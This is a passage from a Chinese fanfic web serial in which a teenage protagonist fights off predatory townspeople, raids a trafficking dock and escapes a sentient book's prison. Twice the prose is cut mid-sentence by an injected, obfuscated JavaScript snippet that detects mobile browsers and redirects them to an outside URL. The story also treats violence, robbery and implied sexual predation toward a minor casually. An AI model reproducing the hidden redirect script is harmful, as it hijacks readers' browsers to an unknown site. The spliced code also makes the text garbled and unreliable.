“这是?3000,我只能帮你到这了。”感谢贝利赞助的小金库,“祝你早日离开。” 女人迟疑地接过这比巨款,又看着有初四继续上手撬锁,“不是说撬无法复原的锁……” “来都来了。”有初四手上动作不停,三两下就把锁给撬开了,这种锁一旦被撬开就坏掉。 【这么简单的锁已经不能磨练你的技巧了】 “而且我能甩掉那些麻烦的警察。”有初四直起腰,因为年龄的差距,他比女人要矮上一截,“想走的话得尽快,天快亮了。” “那你呢?” “嗯?” “你不一起离开吗?我知道的,你也不属于这里。”从被披上了温暖的外套那刻起,女人就知道。 “孤儿院的院长对我有恩,我现在还不能离开这里。”有初四淡淡回答,睁着眼睛说瞎话。 “……啊?”镇上只有一家孤儿院,其放高利贷逼迫孤儿寻找工作的大名鼎鼎,就算是女人也有所耳闻,这种院长,对有初四有恩吗? 有初四点头,证明女人没听错,“嗯,是的。”其实他也试过离开这个小镇,但是踏出去的那一刻就失去了意识,醒过来的时候已经是晚上了,他躺在镇子边缘,奇迹般的没有被挪动过且完好无损,身上没有多什么也不痛,那是他最幸运的一次。 女人复杂地看了他好一会儿,转身轻手轻脚地走了,有初四把手里已经报废的锁丢在地上,丝毫不在意会发出什么响动,众所周知,只要不被屋主正好撞见,偷窃行为就一定不会被发现。 有初四去过很多地方,湖底神秘的废墟,森林里的墓穴,也曾穿过沿海小径去到过农场——那里的工作更黑,短短几天,富有好奇心的有初四就几乎探索了大半个小镇,至于学校,那是什么东西?不去。 其实有初四有天没事可做去过一次,但恰好遇上了糟糕的校园霸凌,有初四顺手就拿上了角落里的树枝冲了进去,直接干倒一大片人,包括正在围观的。 被他帮了一把的被霸凌者叫凯拉尔,具体什么样他其实没记清楚,因为条件反射打完人就跑,等回过神来的时候已经窝在下水道里了。 有初四:“这下学校也不能去了。” 不去归不去,在路上碰见校友还是不可避免的,还是一副来者不善的样子。 “哟,这不是学校里的风云人物吗?”黄色短发的男孩带着一群人围住了有初四。 是风云人物,只不过不是正面向的,所以这些人想干什么? 有初四目测了一下对方的体格,觉得是自己一个人包围了他们五个人。 “那么嚣张,得给你点教训。” 教训就教训,把手往我裤子上伸是什么意思? 有初四当机立断一个手肘顶开凑过来的一张脸,弯腰躲过来抓他头发的手,然后顺势低头往前冲,一头撞在了黄色短发男孩的肚子上。 惠特尼:“噗——” 惠特尼痛苦面具,惠特尼挣扎,惠特尼再起不能。 有初四:啧,没吐血,还是撞轻了。 他从来不怕用力过猛杀死人,众所周知,一般这种带颜色的题材是不会死人的,最严重的就只会是堕落而已。 有初四觉得自己没过多久,就已经能熟练地逃跑了,就连一开始的气喘吁吁也变成了游刃有余。 不仅能锻炼身体还能健身,顺带还能磨练意志,多好的地方啊——有初四狠狠地竖了个中指。 又一次拒绝了提出向他索要贴身衣物的请求,并眼疾手快把人从车上扯下来揍了一顿,揍完后把钱包掏了出来然后把人往角落一丢,开始寻找下一个倒霉蛋。 然后他就看到了贝利。 ——嗯? 等等!他怎么会出现在孤儿院以外的地方?! 有初四这一刻的表情就跟活见鬼了似的,在他的认知中,贝利只会刷新在孤儿院里。 贝利是出来寻找他失踪的金库的,前几天刚收完高利贷,当他看到空荡荡的保险箱的时候,半条命都快没了,迅速锁定了第一嫌疑人,那个离开孤儿院整整三个星期都没回来过的有初四,也是造成他两次受伤导致没能及时收高利贷的罪魁祸首。 他居然为了自己的小金库出孤儿院了,他真的超爱! 有初四一头扎进了森林里,不是因为害怕,还是该死的条件反射,至于打人的步骤哪里去了?什么,他就是打了才跑的啊。 被有初四以一个刁钻的角度冲出来撞在肚子上的贝利:“……”你除了头槌还能弄点别的吗? 在森林里乱窜的有初四第一次遇上了狼群,对面狼多势众,他想都没想转身就往湖泊那边跑,开玩笑,赤手空拳对群狼,谁会干那种傻事啊? 得益于这段时间的逃跑锻炼和骤然爆发的求生欲,有初四极速冲过树木滑进了湖泊里,群狼见没办法再追了,都悄声退去。 过了一分钟,有初四悄悄从水里探头,确认危险消失之后又迅速爬上岸,他抖着手,去摸刚刚被什么滑溜溜的东西触碰到的脚踝,因为突然入水又突然上岸后逝去的温度而显得苍白的脸,慢慢平静下来。 他撑着身体站起,对着安静无波的湖泊轻柔说道:“我迟早要把这里的水抽干。” 9. 闭眼亦是醒来 有初四知道自己是倒霉了点,走在街上就跟个香饽饽一样谁都想来咬一口,就好像他身上涂了什么媚.药一样,对这镇子上的变态的吸引力超群。 森林里他也不会放松警惕,就连动物都那啥化了,天上飞的目前没碰见过,但地上跑的水里游的都这样了,估计也不会被放过。 人更是要放在警惕的第一位,尤其是那种看见他就两眼发光的,但经过了那么多次,有初四已经特别熟练了,他长这么大什么样的没见过? 胡子拉碴脸上有疤的高大成年男性,一脸认真地对他说:“小伙子,你给俺当婆娘吧,只要你给俺当婆娘,俺,一定对你好!来,亲个嘴子。” “……”这种的他还真没见过。 有初四试着给了他一拳,不痛不痒,那人甚至还想伸手去摸他砸在脸上的拳头。 不是一个量级的啊…… 他转身就跑,男人也眼疾手快地拔枪就追,子弹击在脚边的那一刻,有初四知道男人是真敢开枪,人是死不了,可是被打晕带回去会遭受的事情,就是有初四死都不愿意的了。 有初四的体重在少年里本就是特别轻的那一类,但体型却是和重量不匹配的正常,可能是与生俱来的一种天赋?这也就让他的脚步格外的轻,简直是天生偷鸡摸狗的好苗子,再加上最近练出来的逃跑速度,使得有初四跑得飞快,这一招对大多数人都适用,但对方是在森林里居住的猎人,明显比他要熟悉这里的环境,而且看着高大速度也不慢,没一会儿就快追上有初四了。 怎么办?离森林出口还有很长一段距离,有初四一个闪身躲进了树丛中,身后的脚步声渐渐慢了下来,他轻缓地喘了几口气。 身后响起了子弹上膛的声音,脚步声正在靠近,有初四反而平静地蹲着系紧了鞋带,仿佛刚刚紧张到发抖的人不是他。 还是第一次被逼到这种地步,有初四摸到了裤兜里的物品,这次要面对的人很强大,手上还有枪,而他唯一能算得上是攻击手段的就只有自己这颗坚硬的脑袋,完全不占优势。 坚硬的枪管拨开枝叶,猎人看见被吓到脸色苍白的少年蹲在里面,见自己被发现后咬了咬唇,随后少年主动贴上来。 猎人抓紧了手里的枪还是没有丝毫松懈,做好了少年再次逃跑的准备。 然后一股呛鼻的味道扑了猎人一整脸。 “噗咳咳咳!” 同时一阵剧痛从手腕上传来,枪在松手的那一刻被夺走,冰冷的物品贴上了猎人的额头,红色烟雾逐渐散去,他勉强睁眼,面容精致的少年不熟练地用猎枪指着自己,猎人和猎物的身份瞬间倒转。 “别动。”他说。 伊甸呛咳着,突然笑出来。 “不要用自己不熟悉的武器来制约熟悉这种武器的人,我以为这是常识?”他也说。 还能活动的那只手顿时发力,然而在下一秒,对于少年来说长过头了的热武器被他用一种球棒的形式使用了出来,并狠狠地砸到了伊甸的头上。 “当然是常识,所以我根本没打算开枪。”有初四心满意足地丢开枪,看见伊甸摇晃了一下后,毫不犹豫地直直朝着他冲了过去,一脑袋撞在了伊甸的下巴上。 “噗——” 伊甸挣扎,伊甸爬起,伊甸试图摸起自己的枪,伊甸倒下。 玩弄猎物这种习惯,伊甸和有初四都没有,不打中只是因为伊甸不想弄坏他,猎枪只是作为威慑的手段,而有初四就是单纯的泄愤了,受到惊吓的他那一瞬间是真的想鱼死网破。 有初四面无表情地盯着倒下的伊甸思索了一会儿,捡起地上的猎枪高高举起。 “啪!” 还有就是,要学会补刀。 …… 差点被一枪爆头的猎人先生被拽着衣领拖行着,有初四手上沾着血,面无表情的样子像极了杀人犯,对敌人的仁慈就是对自己的残忍,输的人如果是他,那就是另一种局面了。 直白点说,没把这人的老二割掉算是有初四还有点理智了。 有初四坐在钓鱼岩上,手上的血迹被水流带走,他撑着下巴在思考着什么,被冰凉的湖水浸泡过的手还留着些许的凉意。 无视了附近面朝下趴着的猎人,有初四就那么静静地坐着,这个地方能给他平静的感觉,让心里想把那人丢进湖里沉尸的念头渐渐消散。 是错觉吗?总觉得最近的血腥暴力想法越来越多了。 昏迷的伊甸被有初四给放生了,获得了战利品猎枪一把,有了武器的他觉得自己强大得可怕,狼?杀!试图创他的野猪?杀!看他一个人想来袭击的人?杀——啊这个不能杀,那打一顿吧。 有初四遗憾地放下猎枪,并把昏迷的人绑起来吊到树上。 兴奋地到处乱杀的后果就是,子弹很快就没了,他遗憾地把枪丢开。 然后第二天,他又在森林碰见了伊甸。 武器这不就来了吗? 在森林里乱窜的这几天有初四已经以一种不可思议的适应速度把这片地方摸清了,并对前来挑战的伊甸造成巨额伤害,收获战利品猎枪一支。 轻巧的脚步,极快的速度,和无往不利的脑袋——哦有了猎枪他就不用这招了,还是这玩意儿好用! 森林里的动物开始对有初四避之不及,就连武器供应商伊甸也开始避其锋芒,渐渐的,就变成了有初四举枪四顾心茫然,于是他目光投向湖泊里的猎物。 “试图对我动手动脚的时候,你们就已经做好觉悟了吧?”有初四对着草地上被网捞上来的一堆小银鱼说道。 高强度的捕鱼行动让有初四心里畅快极了,当时要不是他游得快,水里那群鱼就该钻他裤子里了。 “给我灭绝啊。”有初四发出暴言,网里已经跳不动的鱼死不瞑目。 森林里安静的不像话,难得呼吸了各种意义上变得纯净气息的有初四决定回到城市里,于是他顶着两个巨大的黑眼圈往回走,森林里什么都好,卫生问题都能在瀑布那边解决,就是没有一个安全的睡眠地点,至于食物的问题,他并不需要吃东西。 当有初四第一次意识到食物并不是必需品的时候,他就立刻把觅食这项计划给划掉了,唯一需要担心的只有天气,有初四身上还穿着刚出孤儿院那套撕裂的衣服,夜晚的森林温度会骤降,虽然死不了,但是身体被冻得发抖的话会影响准头的,而解决办法也很简单,那些会袭击他的倒霉蛋会提供衣物的,虽然穿着会有点膈应就是了。 一进到城里,见怪不怪地拒绝了车窗伸出来拿着钱的手,直奔购物中心,第一时间用钱买下了一件外套,并把身上穿的那件扔掉了,路上还碰见了因为他旷课太多而找过来的警察。 有初四:原来你们这里那么重视教育的吗? 重视教育却没有道德,惩罚的手段是把人的自尊和人格一寸一寸的碾碎,有点讽刺。 贝利没在街上晃荡了,似乎是有初四消失太久,也失去了找回金库的心思——才怪! 收到警方通知的贝利已经在赶来的路上了,但他扑了个空,有初四的逃跑技术是一流的,还无师自通地学会了扫除痕迹,再加上他的脚步本来就轻也留不下什么。 再次无功而返的贝利骂骂咧咧地继续收他的高利贷去了,然后就被有初四送了一个久别重逢的头槌礼。 有初四:总感觉少了点什么,这下舒服了。 贝利双眼无神地倒在了地上,觉得人生灰暗一片,不就是放了个高利贷吗,至于这么小心眼见我一次给我一下。 不止呢,你还想在人家交不出钱的时候把人家给卖了。 因此,有初四也成功的给贝利留下了心理阴影,一说到要收高利贷他肚子就条件反射的开始抽痛了,高兴的心情一下就能萎,还得提防有初四从角落里突然冒出来给他一个头槌。 人口买卖在这个小镇上并不罕见,就贝利来说,把交不出费用的孤儿卖去码头已经非常熟练了。 只需要一点钱维持他们的需求供他们长大 ,在他们提出要搬离孤儿院时顺理成章地提出要求,然后再将孩子们的劳动成果通通收入囊中后,再进行一笔人口交易把他们最后一点价值都压榨干净,多么划算的买卖啊。 是啊,多么划算的买卖——只要把贝利一个人控制住,就能拯救一个孤儿院的孩子,还能收获一笔小金库。 有初四不算是个爱管闲事的好人,但也不会在发现有人口买卖这种事情厚还能无动于衷,空洞的眼神,被粗暴对待到麻木的身体,不论归处是被扔进大海还是继续留在码头,或是被送去其他地方,都不会有好下场。 诚然这个小镇并不会死人,但是从精神和身体上的双重折磨,死亡反倒会是解脱。 最开始有初四是想假装柔弱无害的少年被盯上,然后再威胁想对他不轨的人把他带过去的,但发现他们好像对他避之不及,只是靠近就跑的飞快。 不知道自己在地下社会里已经成为赫赫有名的煞星的有初四迷茫眨眼,他有那么恐怖吗? 想想看他都做了什么吧,当街把跟踪的人打了一顿并顺走钱包,刚开始需要人删掉犯罪记录,因为兰德里要的黑盒子在别人手上,那人还要有初四贴身衣物才能给,于是有初四果断把黑盒子抢了过来,第二次要求黑盒子的时候更加果断地把兰德里打了一顿,并揪着他的领子说不删就带他去外面绕着小镇拖行一圈,那人意外的不是犟种,非常轻易的就妥协了,然而在有初四在那天之后没能再看到他。 有初四养成了一个习惯,不管什么问题都会第一时间用拳头来解决,但不得不说这玩意儿真的很好用,在这个镇子大部分人都不怎么喜欢听人话的情况下,武力是最适合解决所有问题的办法。 【声望】你成为了镇上声名远扬的拳皇。 不能装成柔弱的少年被抓起来真是太可惜了,有初四只好重新回了一趟森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513976|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林,正好抓住了看他不在又跑出来打猎的伊甸。 “猎人先生,你也不想自己又被放生吧?”已经和当初只会逃跑的少年判若两人的有初四乖巧地笑了笑,因为此时是正午,太阳最大的时候,来之前还把外套给脱了。 他十指间各夹着一瓶防狼喷雾,看得伊甸不仅觉得头疼还眼睛痛,露出一副很识时务地样子把猎枪递过去。 众所周知,狗改不了那啥,有些犟种也不例外,有初四一直都知道这位猎人先生一直试图袭击他,短暂的消停只是为了养精蓄锐,所以他也从来没有放松过警惕。 被枪支遮挡的手部动作顺利的让伊甸的行动碰到了有初四,一支匕首划过腰侧,也挑开了那枚本就摇摇欲坠的别针,大片的肌肤因为主人闪避的动作露了出来,一击不得的伊甸把匕首横切过去,试图让有初四受伤失去反击能力。 少年灵巧的身体躲过匕首,滑倒了伊甸的身侧,在被攻击的那一刻顺势接过的猎枪在右手中转了一圈,左手指尖挑开防狼喷雾的瓶盖往伊甸脸上喷去,在高大的猎人被呛咳到视线模糊的一瞬间,防狼喷雾掉在了草地上,双手上下紧握住枪管高高举起。 “咚!” 坚硬的枪托被砸在脑袋上,有初四熟练的接上一个头槌完成补刀,伊甸应声而倒。 “那么接下来——”有初四查看了一下猎枪,果不其然没有子弹,要不然伊甸也不会轻易把枪交给他,还好之前他偷摸跟踪过猎人,知道了他的住址,猎人的警惕心不低,回家路上始终保持着高度警惕,有一点风吹草动就会停下仔细观察周围。 他这样真的不会神经衰弱吗?要知道这里是森林,有响动是很正常的事情。 伊甸再警惕也没能发现悄无声息地跟着他的有初四,也就导致了现在家被偷了,而自己还眼睛冒星星地趴在地上一动不动。 天暗下来了,有初四预估了一下时间,这会儿码头已经开始收拾东西了,根据之前潜入探查的情况来看,利用好黑暗和行走时的轻盈,解决掉里面的所有人应该不成问题。 有初四思索了一下,决定还是得谨慎点,于是他抓到了躲藏在麋鹿街的兰德里,在他无力的“为什么你还能找到我”疑问中掏出一沓钱放在桌子上。 “你有多少防狼喷雾,我就买多少。”这 就是贝利给他的自信。 兰德里:这家伙居然还会正常交易? 上次把人吓走有初四也不想的,在第一个拿着黑盒子的人提出的那个要求后他就有一种预感,以后要是再去找黑盒子,也会面临这种困扰甚至更过分,与其一个个打过去还不如把兰德里打一遍,再自己学习撬锁然后自己消犯罪记录。 至于黑客的要求,只有拥有绝对力量的人才有话语权,不是吗? 其实有初四也不是没遇到过宁死不屈的人,这种人暴力没办法说服他,而这种时候就需要下一个了,他不干有的是人干! 夜深人静的时刻,有初四揣着一兜子杀伤力武器,手上还端着一把枪,光明正大地潜入了码头。 从发出警报和遍地横尸,中间不超过一个小时,有初四脸上带着几道被划伤的血痕,眼中还闪着泪光,茫然无措地站在倒成一片的人群中间,一次性的防狼喷雾丢的满地都是。 ——好像,忘记留个清醒的了。 回想起自己糟糕的搜查能力,有初四觉得这次说不定要无功而返,就在此时,他眼前一花,似有雪花飘过,疲倦的困意席卷上眼皮,周围的空气渐渐冷了起来,寒意蔓延布满了整个仓库,却唤不出有初四的清醒。 这是,怎么回事…… 有初四突然觉得有点熟悉,突然的困倦,和寒冷的空气,到底是什么时候经历过这种场景呢? 应该合上的双眼此时却慢慢睁开,带着水雾的蓝色眼睛动了动,半睁的双眼看着雪花飘落的冰天雪地,粉色的冰晶似乎更加凝实。 手脚因为扭曲的姿势变得僵硬,他顺着透明的屏障慢慢爬起,呼出的热气在眼前消散。 有初四迟钝的大脑像生了锈的齿轮开始转动,他突然意识到一件事——自己好像是睡傻了。 但睡的时候做没做梦,又梦到了什么,有初四并不清楚,他缓过来一点后看着禁锢自己的透明牢笼,脑海里闪过什么模糊的片段,看不清,却让有初四突然升起一股无名火。 “困住我?开什么玩笑。” 活动了一下手指,指尖勾住了手套的边缘扯了一下,出现在半空中的四个数字零,说明有初四这一觉睡的不长,却刚好到了技能刷新的时间。 他抽出了久违的木签——看我把这里炸了! …… 此时的三月七一口气把剩下的“奶茶”全倒了上去,几乎在书本上凝结成冰的液体慢慢被吸收,如果能看见面板,那它现在身上一定持续跳着【寒冷+10】的debuff。 书本无声尖叫:别倒了别倒了,看都把人吵醒了! 10. 上一个说自己还在生长期的 有初四闭上双眼,木签在手掌之间,双手合十。 那一瞬间的怒火成为熊熊燃烧的燃料,填充在心头,为不顾一切也想要逃离的想法搭桥架梁。 “让我看看你的能耐,既然你的目的是伤害到我,那就来试试看吧。” 铃铛褪去银色的外壳,金光在一片雪白里显得格外耀眼。 “叮铃——” 清脆的铃声,宣告一个人形自走天灾即将诞生。 【下下签】 “轰隆!” 地面剧烈颤动出现一条条裂缝,背后的雪山开始滚落碎石和冰晶,这座庞然大物像是被什么东西猛敲了一下,冰晶碎裂山体崩塌。 有初四被震动晃得东倒西歪,在扶着透明墙壁勉强站定后看着像是要整个倒下来的大雪山,和即将砸到他面门的大石头,眨眨眼。 “哇哦。” …… 在震动发生的时候,三月七还在奋笔疾书,期待早日写完能出去这个鬼地方和同伴回合,突然一声巨响和剧烈震动差点把三月七连人带椅晃到地上。 摊开在桌上的书本蔓延出一条细细的裂痕,随着震动变得越来越多,三月七爬起来的时候被吓了一跳,连忙把书拿下来护到怀里。 小四和丹恒还在里面,这书不能有事! “这么回事?!”现实中的法塔莫日甘,人们如往常一样在街上行走,突然脚下土地中的镜子开始碎裂,地面也随之震动,奔走时因为碎裂而飞扬的尘土裹挟着镜片,星星点点的碎屑在空中飞舞,飞进人的眼睛口鼻,在法塔莫日甘美得宛如一场残酷的梦。 “快跑!” 又能跑到哪里去呢?一旦星球开始瓦解,所有人都逃不掉。 而正和不明人物对峙中的丹恒也被这突如其来的震动晃了一下身体,对面的人趁机举起镜刃刺了过来,击云枪柄挡住了刀刃擦出火花,丹恒借力身体一转,朝着废墟外冲出去。 这里要塌了!丹恒咬牙,脚下不乱地躲过陆续掉下来的碎石,倒下的石柱擦着他的衣摆砸在了地面上,厚重的尘土在空中弥漫,一道身影冲了出来,在坍塌前的时候一秒成功逃离了教主殿。 “呼——”教主殿将袭击者的身影埋入其中,丹恒呼出一口气,但他发现震动还在继续,原来不是教主殿要二次坍塌,是整个法塔莫日甘! 书本已经快被吓晕了,眼看着山体崩裂疯一般地想朝有初四砸去,再这样下去自己就要坏掉了! 它赶紧对着被空气墙隔绝了一切,正在好奇地看着从天至地到处延伸的裂缝的有初四吼道:“停手!停手!我快要裂开了!” 有初四充耳不闻。 “你再不停手,那个叫丹恒和三月七的人都得死!” 原本还抱着手臂观摩的人瞬间举起手,对着手掌侧面狠狠咬下。 白皙的掌心被红色的血液趟过,滴落到透明的地板上,震动瞬间停止,但已经被破坏碎掉的雪山依旧在滚动,砸在地面上掀起大片的雪花。 【--自控】 被晃得晕头转向的三月七迷茫地睁开眼,房间里又恢复了平静,散落在地上的各种物品因为惯性还在轻微滚动,碰到了三月七的裙摆,怀里的书本裂缝还在,但没有再蔓延让三月七松了一口气。 而用击云撑着身体的丹恒也发现了震动的停止,他看着天空中突生的黑色,似乎想起了什么。 “在遥远的国度中,天空被劈开,山石崩裂,从那一刻开始,我就知道我取得了否定世界的力量……”嘴唇轻启,和记忆中那个人的话语重叠起来,所以说就是在这次开发出了能力的另一种用法吗? “只要给我一个机会,星神我都杀给你看!” 回忆到这里的丹恒脸色突然僵了一下,忍不住扶额叹息,那股中二劲儿到底是谁教的? …… 【咔嚓】 “啧,虽然死法不一样,但怎么又是被压在建筑物下面啊,尼斯捞一下。” “……您发送的请求无人接受,请稍后再发。” “行吧,我自己爬出来,好不容易干一次活还没人接应,真是听者伤心闻者落泪。” 等一大片不可描述的马赛克出现在面前的镜子里时,和尼斯有着一样脸的人面无表情地移开了视线。 “你这是什么表情,我变成现在这幅模样都是为了你,给我负起责任来啊!” 强行挤进书本对他来说太过艰难了,如果不是他们经历的故事其中就有一个他的话,一挤进去恐怕就会被丢出来了,虽然过程很顺利,但代价是过去的时机已经晚了,有初四先一步被书本带走,而他也只能做了个诱饵等人上钩了。 “人都上钩了还干不掉?” 此时那一团不可描述的马赛克逐渐拉长变幻,最终变回了自己本来正常的样子,那张和镜子前一模一样的脸露出了一个微妙的表情。 “你是说,要我干掉一个拿着武器,保持高度警惕心,身体里还有一股释放出来能创死我的力量的一个神秘的成年男子?” 我打丹恒,真的假的? 但那股力量确实很奇怪,一开始进来的时候没察觉到,直到靠近后才发现。 “你行你上,我来当主体你进去,我倒要看看你去了还能不能活着回来。” 大抵是不能的,也许是因为后来者的原因,他对这个身体的掌控力虽强,却不及先来的这个人,能力也是如此,所以这个人做不到的,他也做不到。 不都说后来者居上吗,明明前者确实是不争不抢啊! _ 茫茫的一片雪白之中,一条条巨大的黑色可怖裂缝攀附在上面,黑发蓝眼的青年抬起头,嘴角还带着血迹,望向天空的眼中闪过锐利。 他表情异常平静,嘴唇张合,隐约能看见沾上牙齿的血红:“你在拿他们威胁我?” “没有没有!只是连带着他们在的地方都开始塌了,甚至延伸到了现实,再这样下去连整个法塔莫日甘都会崩溃的!”书本连忙解释。 有初四又拿出一支签,笑了笑:“如果你还不放我们出去,那我就再来一次。”张口就来他可太擅长了,在这种时候才不能展现出弱势。 书本:*法塔星粗口*,遇上疯子了! 三月七发现怀里的书本在挣扎,连忙放开手,飘到空中的书本颤颤巍巍地动了一下,随后黑色的文字快速显现。 她目瞪口呆地看着自己写剧情的书本,深藏在心底的记录精神让她举起了相机,按下快门。 不知道为什么没有丝毫伤口的埃洛克醒来了,并在众人的质疑下成了教主,人们都觉得他毫发无伤太过诡异,甚至有人推测他和前教主联合欺骗了士兵,然后在关键时刻背叛前教主,再制造一场空前绝后的大爆炸,这样就能顺理成章地坐上教主的位置! 埃洛克并不在意这种言论,认为自己的所作所为能够改变他们的看法。 第一年艰难的度过了,这时埃洛克在库房里捡到了一面镜子,一面碎裂的镜子,他没认出这是主城以及教主殿的爆炸源头,只是将他捡了回去。 不久后,神奇的是,镜子上的裂痕居然慢慢消失了,埃洛克只觉得奇怪,并没有细想。 他有了一个习惯,照镜子,每次站在镜子前面的时候总会觉得无比平静,那些疲惫和无力都会消失得一干二净,就像是镜子吸走了他全部的负面情绪,这也让他每天都能保持良好的状态。 不过镜子好像有点奇怪,埃洛克总是在照镜子的时候,眼一花把镜子中的他看成前教主,这不可能,因为那个人已经死了,自己是亲手杀死他的那个人,一定是眼花了,是最近休息不够吗? 埃洛克真的看见前教主了,他贴在他的背上凑到他的耳边,不停地说着“杀了他们”。 杀了……谁? 乳白色的人影呼出的冷风在他耳边,那种被窥视的感觉前所未有的强烈,他说:“他们都是你的,有什么资格对你指手画脚?” “我……的?”埃洛克喃喃自语,双眼黯淡无光。 “对,你是教主,法塔莫日甘上的人和物全都是你的,你有权力对他们做任何事!” 埃洛克觉得他的影子似乎在变淡,从乳白渐渐变成了透明,最终在镜中消失。 幻觉似乎越来越严重了,埃洛克精神越发恍惚,连平日的工作都无法正常完成,他似乎听见有人在议论他,恐惧他,恐惧?埃洛克不懂,他们在恐惧些什么? 拖着脚步回到房间,他如往常一样照了镜子,人影越发凝实,他也如往常一样在他耳边低语,打破日常的是一场病,医生说了什么他已经听不清了,只能躺在床上扭头去看放在墙边的镜子,镜中的他浑身布满裂痕,人影说他即将迎来死期。 他会怎么死呢?埃洛克呆呆地想,病死还是被杀死?可惜的是,医生否定了他的幻想,宣布他的病已经好全后离去,埃洛克坐在床上发了会儿呆,起身想要走到镜子前,却在半路不知道被什么东西拌了一下,额头重重地摔在地板上,血溅上镜子,红色的液体缓缓流过镜面,划过埃洛克死前不甘闭上的眼。 他竟是因为平地摔死的,真是滑稽的死法,听到他了死讯后,许多人欢呼赞叹,说这个该死的怪物终于消失了,说:“当年的大爆炸只有他活下来了,士兵全都被炸死,他一定是和前教主勾结,再临时反水把其他人都炸上天了!” 多么令人信服的结论,立刻让所有人都恍然大悟了。 被压迫的统治也终于结束,更有能力又贤明的人成为了新的教主。 十个闪烁历过后,法塔莫日甘内流行了一种装饰品——镜子。 镜子具有传染性,短短时间内就到处都是了,人们不知原因地疯狂迷恋着这种事物,也在发展的时间里逐渐接受外来者的到来。 然而在短短半个闪烁历后,他们就发现了一种怪病,人们身上会长出镜子一样的碎屑,就连血液里都会塞满这种东西,且致死极快,短短四五个系统时就会被逐渐变多的镜子碎屑给撑爆,如此具有辨识性的病,人们第一个就想到了极有可能是源头的——镜子。 与此同时他们还发现了外来者完全不受这个病的影响,更有传言说死掉的教主埃洛克房间里,就放着一面镜子。 人们开始恐慌,觉得这是这位逝去君主对他们的诅咒,生前是怪物,死后还不放过他们!镜子被砸碎落了一地,被踩在脚下掩埋进土里,可病症不减反增,他们又寄希望于外来者,希望他们的技术能解决掉这个要把整个星球都毁灭的灾难。 但外来者跑还来不及,谁都不愿意惹上这个大麻烦,而法塔莫日甘人又没有离开这个星球的能力,只能被困在这个国家里,眼睁睁地看着病症席卷到自己身上,疼痛,煎熬,最后死亡。 于是在短短半年时间里,法塔莫日甘就全灭了。 丹恒看着眼前如幻灯片一样迅速闪过的画面,看到了结局后提出疑问:“涅因呢?” 从未听说过的敌国,到底是他们被影响了还是故事是虚构的? 刚这么想,眼前就缓慢地浮现了一行——“本故事由真实事件改编。” 这行字颤颤巍巍的,害怕而又倔强。 而三月七看着书本以一种极快的书写速度完成了结局的,最后啪的一下合上了,虽然没有说话,但赶人的意思相当明显。 “你们可以离开这了,这下你满意了?” 有初四还没回答就脚下一空,透明墙消失,整个人就掉进了裂缝,可想而知书本的急切,甚至还存了一点小小的报复心理。 黑发被风吹得飞舞,耳边的吊坠打在脸侧有些疼,有初四淡定地抽出一只签,将它放在额前,开始溢出水汽的水蓝色眼睛闪过一抹奇异的光泽,就这么静静地看着天空,仿佛能透过那层膜看见后面的书本。 “!!”书本狠狠打了个哆嗦,赶紧把人又用透明格子捞住,但由于用力过猛过快,让有初四直接一头撞在了透明壁上,发出了清脆的声音。 书本:“……” 有初四:“……” 好听就是好头,有初四感觉自己的头自从被那一敲后已经免疫普通的撞击了,意志,这么神奇吗? 有初四重新调整姿势坐了起来,没有理会书页瑟瑟发抖的道歉,四处看了看,发现有很多透明箱子都漂浮在半空中。 不过高低不同,他在最下面,那些箱子在最上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513977|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但距离太远了,只能靠隐约的色块和熟悉的箱子长度来辨认,和他刚刚没掉下来被关着的一样。 “原本关着那些人的牢笼也都塌了,我好不容易构建出来的最能压制住他们的场景啊。”书本委委屈屈,甚至开始主动介绍起缘由,“虽然都是些很坏的人,但好歹也是故事中的一员,我给他们留了影像做个纪念。” 有初四:“?” 把人关起来然后又丢出去,最后还留了影像纪念?你是什么变态吗。 “那个,就是穿铠甲一身白的那个,他去的是恋爱剧本。”书本生怕他看的不清楚,还特意把有初四给提溜起来晃了过去。 有初四:“……”大可不必,在被不知名存在提起来的时候他的身体僵住了,虽然看不见,但是心里的排斥一点没少。 他面无表情地举起木签,“放我下来。” “别这么扫兴嘛……”书本委委屈屈,到底是妥协了,又把有初四放了回去,选择远远地指给他看。 “那本来是个甜甜的恋爱故事,但是因为他把男主脚踏多条船的事给透露出去了,导致男主提前被女主捅死了。” “啊?”你们这个甜甜的恋爱故事,他到底正经吗? “提前?那就是后来也会被捅死吧,正常来讲都不该管这叫恋爱剧本,而是悬疑剧本吧?” 书本被有初四现在都能平静吐槽的表象所迷惑,语气都变得放松很多了,“因为爱杀人,脚踏多条船,怎么不算恋爱剧本呢?” 有初四:“……你说得对。” “还有这个,这个机器人一样的家伙,他真的很坏!不仅把女强剧本里的男主们打了个遍,还把女主拎在手上被追着晃过了大半个皇城,把人都吓晕了!这个这个,长的一脸正经,差点在权谋剧本里把太监男主给剖了,原因是没有生育器官仅靠触碰就能让女主怀孕让她很感兴趣……” 安静听着的青年缓缓打出一个问号,“们是什么意思?” “复数的意思啊。” “你的意思是女强剧本里有多个男主,难道是后宫?” “不是,只是都帮过女主和都成为过她的入幕之宾而已啦,而且男主们都比女主强大很多!” “男主个个比女主强,那女强又在哪里?” “当然有,整个剧本里基本都是女主在乱杀呢!而且女强文里男主比女主强不是常识吗?” 